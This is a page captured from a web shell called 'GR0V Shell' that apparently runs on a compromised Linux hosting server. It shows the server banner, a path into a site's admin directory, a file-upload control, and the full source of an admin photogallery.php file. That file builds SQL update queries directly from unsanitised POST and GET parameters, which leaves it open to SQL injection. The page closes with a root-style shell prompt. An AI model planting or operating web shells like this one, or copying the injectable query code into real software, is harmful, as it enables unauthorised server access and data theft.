? GR0V Shell

GR0V shell

Linux node1.dnscloudserver.in 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64

Path : /home/yogsadhna/public_html/admin/
File Upload :
Current File : /home/yogsadhna/public_html/admin/photogallery.php

<? include "include/header.php";
if($_POST)
{
for($i=0;$i<count($_POST['orderId']);$i++)
	{
		$sql = "update events set catOrder = '".$_POST['orderValue'][$i]."' where sno='".$_POST['orderId'][$i]."'";
		$obj->query($sql);
	}
}
if($_GET['idst'])
{ 
$act =$_GET['act']==0 ? 1 : 0; 
$obj->query("update events set `status`='$act' where `sno`='".$_GET['idst']."'");
}
?>
   <!--main page-->
   
  	     <table width="100%" border="0" cellspacing="2" cellpadding="3">
           <tr>
             <td width="20%" class="border" valign="top"><? include "include/leftmenu.php" ?></td>
             <td bgcolor="#e6e4ef" id="welcomenote" valign="top">
			 <form name="categoty" action="" method="post">
			 <table cellpadding="4" cellspacing="0" border="0" width="90%" class="normaltext" align="center">
			   <tr bgcolor="#FFFFFF">
			     <td align="center" colspan="5"><strong>Photogallery Management</strong></td>
			   </tr>
			   <tr><td colspan="5" align="right"><a href="addphoto.php"><strong><img src="images/add_photo.jpg"  border="0"/></strong></a></td></tr>	
			   <tr><td><strong>Serial No</strong></td>
			   <td><strong>Photo Name</strong></td><td><strong>Status</strong></td><td><strong>Order</strong></td>
			   <td><strong>Edit</strong></td>
               
               </tr>
			   <?
			   $no=1;
			   $sql="select * from events where type ='1'";
			   $total=$obj->count_row($sql);
			   $result=$obj->query($sql);
			   while($row=$obj->fetch_query($result))
			   { 
			     if($row->status==0)
				  $status="Inactive";
				  else
				   $status="Active";
				   ?>
			  <tr><td><?=$no?></td><td><?=$row->title?></td><td><a href="photogallery.php?idst=<?=$row->sno?>&act=<?=$row->status?>"><?=$status?></a></td><td><select name="orderValue[]" style="width:90px;">
			  <?
$i=1;
while($i<=$total)
{ ?>
<option value='<?=$i?>' <?php if($row->catOrder==$i){echo "selected='selected'";}?>><?=$i?></option>
<?
$i++;
} ?>
</select>
<input type='hidden' value='<?=$row->sno?>' name='orderId[]' />
</td>
<td><a href="editphoto.php?eid=<?=$row->sno?>">Edit</a></td>
<td>			   <? 
			   $no++;
			   }
			   ?>
			   </tr>
			   <tr><td colspan="5" align="center"><input type="image" src="images/update.gif" class="submitbox" name="Update"/></td></tr>
	   		   </table>
			   </form>
			   </td>
			</tr>
        </table>
 <!--end main page-->
	  <? include "include/footer.php";?>

T1KUS90T
  root-grov@65.21.25.53:~$